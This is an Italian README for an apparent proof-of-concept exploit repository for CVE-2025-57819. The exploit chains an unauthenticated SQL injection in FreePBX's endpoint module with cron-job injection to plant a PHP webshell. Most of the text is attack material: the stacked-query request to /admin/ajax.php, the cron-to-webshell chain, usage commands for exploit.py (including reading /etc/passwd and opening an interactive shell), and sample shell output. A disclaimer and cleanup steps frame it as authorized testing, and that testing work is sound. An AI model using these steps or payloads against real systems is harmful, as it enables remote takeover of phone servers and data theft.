
FreePBX SQL injection non autenticata che porta all'esecuzione remota di codice, su FreePBX 15 (inferiore a 15.0.66), 16 (inferiore a 16.0.89), 17 (inferiore a 17.0.3). La vulnerabilità si trova nel modulo "endpoint" commerciale, a causa di una scarsa sanitizzazione dell'input utente, permette a un attaccante non autenticato di bypassare i privilegi di amministratore, eseguire un'iniezione SQL, e infine ottenere l'esecuzione remota di codice.
CVE-2025-57819 è una vulnerabilità critica di iniezione SQL in FreePBX che consente a un attaccante non autenticato di ottenere l'esecuzione remota di codice concatenando un'iniezione SQL con un'iniezione di cron job.
⚠️ Disclaimer: Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato di questo exploit contro sistemi di cui non si possiede o non si ha esplicito permesso di testare è illegale. L'autore non è responsabile per eventuali usi impropri o danni.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2025-57819 |
| Prodotto interessato | FreePBX (pre-autenticazione) |
| Tipo di vulnerabilità | Iniezione SQL (query impilate) |
| Impatto | Esecuzione remota di codice (RCE) |
| Vettore d'attacco | Rete (HTTP GET) |
| Autenticazione richiesta | ❌ Nessuna |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php elabora il parametro brand senza una corretta sanitizzazione, consentendo query SQL impilate.INSERT INTO cron_jobs che pianifica un comando dannoso ogni minuto.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
Quando si usa --shell, lo script entra in un pseudo-terminale:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
Digita exit (o Ctrl-C, Ctrl-D) per uscire dalla sessione.
Se preferisci i passaggi manuali, l'exploit fa tre cose:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
Il cron job iniettato (* * * * *) viene eseguito ogni minuto e scrive la webshell.
GET /shell.php?cmd=id
Dopo il test, rimuovere la webshell e la voce del cron job:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Quindi eliminare /var/www/html/shell.php dal filesystem.
/admin/ajax.php è raggiungibile senza autenticazioneQuesto progetto è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza difensiva. Vedi il disclaimer all'inizio di questo documento.